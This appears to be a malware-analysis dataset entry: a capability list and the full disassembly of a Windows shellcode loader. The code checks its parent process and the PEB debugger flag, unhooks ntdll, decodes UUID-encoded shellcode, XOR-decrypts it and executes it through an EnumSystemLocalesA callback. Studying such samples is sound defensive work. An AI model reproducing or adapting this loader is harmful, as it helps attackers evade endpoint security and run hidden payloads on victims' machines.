Function at 0x1400018d0
Capabilities:
Check for peb beingdebugged flag
Encode data using xor
Enumerate processes
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x2a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x290], rax
xor ebp, ebp
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea ecx, [rbp + 2]
mov edi, eax
mov esi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a39
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001960
cmp dword [rsp + 0x58], edi
je 0x14000195b
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001941
jmp 0x140001960
mov esi, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140001a39
mov edx, dword [rsp + 0x58]
lea r8, [rsp + 0x7c]
lea rcx, str.Current_pid___d__exename___s_n
call fcn.140001010
mov edx, dword [rsp + 0x70]
lea rcx, str.We_found_the_parent_proccess_id_____d_n
call fcn.140001070
mov edi, dword [rsp + 0x70]
xor edx, edx
mov esi, ebp
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001a39
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400019ef
nop
cmp dword [rsp + 0x58], edi
je 0x1400019ea
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400019d0
jmp 0x1400019ef
mov esi, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140001a39
lea rdx, [rsp + 0x7c]
lea rcx, str.The_parent_process_is__s_n
call fcn.140001010
mov rcx, rbp
lea rdx, [rsp + 0x7c]
lea r8, str.cmd.exe
nop dword [rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x140001b8f
cmp rcx, 8
jne 0x140001a20
lea rcx, str.Deobfuscate_all__APIs__Libraries__Decryption_key_
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
call fcn.140001640
lea rcx, [0x140005038]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001ca6
lea rcx, [0x1400050b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x140001ca6
lea rdx, [0x140005098]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005700], rax
test rax, rax
je 0x140001ca6
lea rdx, [0x140005088]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005710], rax
test rax, rax
je 0x140001ca6
lea rdx, [0x140005060]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400056f8], rax
test rax, rax
je 0x140001ca6
lea rdx, [0x140005048]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005708], rax
test rax, rax
je 0x140001ca6
lea rdx, [0x1400050c8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400056e8], rax
test rax, rax
je 0x140001ca6
lea rdx, [0x140005078]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400056e0], rax
test rax, rax
je 0x140001ca6
mov qword [rsp + 0x30], rbp
lea rcx, [0x1400050b8]
mov dword [rsp + 0x28], 1
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [0x140005700]
cmp rax, 0xffffffffffffffff
jne 0x140001ca6
mov rdi, qword gs:[0x60]
cmp byte [rdi + 2], bpl
je 0x140001bd1
lea rcx, str.The_current_process_running_under_debugger
jmp 0x140001ca0
lea rdx, [rsp + 0x7c]
mov rcx, 0xffffffffffffffff
lea r8, str.powershell.exe
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x140001ca6
add rcx, 2
cmp rcx, 0xf
je 0x140001a39
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x140001ba2
jmp 0x140001ca6
mov ecx, 0xd300000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001ca6
xor edx, edx
mov r8d, 0xd300000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.Try_to_find_ntdll.dll_base_address_from_PEB__without_call_GetModuleHandle_LoadLibrary
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov r9, qword [rdi + 0x18]
add r9, 0x20
mov rdx, qword [r9]
cmp rdx, r9
je 0x140001c99
movabs r11, 0x6c00640074006e
mov r10d, 0x6c
nop
mov rcx, qword [rdx + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], bp
jne 0x140001c40
cmp rax, 9
jb 0x140001c91
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], bp
lea rax, [rax + 1]
jne 0x140001c60
lea r8, [rcx + rax*2]
mov rcx, qword [rcx + rax*2 - 0x12]
sub rcx, r11
jne 0x140001c85
movzx ecx, byte [r8 - 0xa]
movzx eax, r10b
sub rcx, rax
test rcx, rcx
mov eax, ebp
sete al
test eax, eax
jne 0x140001cd9
mov rdx, qword [rdx]
cmp rdx, r9
jne 0x140001c30
lea rcx, str.Could_not_find_ntdll.dll
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov eax, 1
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001eb0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rbx, qword [rdx + 0x20]
test rbx, rbx
je 0x140001c99
mov rdx, rbx
lea rcx, str.ntdll_base_address___p_n
call fcn.140001070
lea rcx, str.Try_to_unhook_ntdll
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov rcx, rbx
call fcn.140001410
test eax, eax
jne 0x140001d13
lea rcx, str.Something_goes_wrong_in_UnHooking_phase
jmp 0x140001ca0
mov edx, dword [0x1400056c0]
test edx, edx
je 0x140001d2b
lea rcx, str.There_were__d_hooked_syscalls_n
call fcn.140001070
jmp 0x140001d38
lea rcx, str.There_are_no_hooked_syscalls
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
add r14, 0x1000
lea rcx, str.Shellcode_will_be_written_at__p_n
mov rdx, r14
mov qword [0x1400056f0], r14
call fcn.140001070
lea r9, [rsp + 0x40]
mov edx, 0x1cc
mov r8d, 4
mov rcx, r14
call qword [0x1400056e0]
test rax, rax
je 0x140001ca6
lea rcx, str.Deobfuscate_UUIDs__and_obtain_encrypted_shellcode_from_it
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ebx, ebp
lea rsi, str.81e1319f_9f82_73a9_6563_383324222538
mov rdi, r14
mov rcx, qword [rsi]
mov rdx, rdi
call qword [sym.imp.RPCRT4.dll_UuidFromStringA]
cmp eax, 0x6a9
je 0x140001ca6
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x1d
jb 0x140001d90
lea rcx, str.Decrypt_shellcode
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov r8, qword [0x1400056f0]
lea r10, [0x1400050a8]
add r8, 2
mov ecx, ebp
mov r9d, 0x5c
nop dword [rax]
cmp ecx, 9
lea r8, [r8 + 5]
cmove ecx, ebp
movsxd rax, ecx
inc ecx
movzx eax, byte [rax + r10]
xor byte [r8 - 7], al
cmp ecx, 9
cmove ecx, ebp
movsxd rax, ecx
inc ecx
movzx eax, byte [rax + r10]
xor byte [r8 - 6], al
cmp ecx, 9
cmove ecx, ebp
movsxd rax, ecx
inc ecx
movzx eax, byte [rax + r10]
xor byte [r8 - 5], al
cmp ecx, 9
cmove ecx, ebp
movsxd rax, ecx
inc ecx
movzx eax, byte [rax + r10]
xor byte [r8 - 4], al
cmp ecx, 9
cmove ecx, ebp
movsxd rax, ecx
inc ecx
movzx eax, byte [rax + r10]
xor byte [r8 - 3], al
sub r9, 1
jne 0x140001de0
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov edx, 0x1cc
mov rcx, r14
call qword [0x1400056e0]
test rax, rax
je 0x140001ca6
lea rcx, str.Inject_shellcode__without_creating_a_new_thread
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov edx, 2
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
test eax, eax
setne bpl
mov eax, ebp
jmp 0x140001cab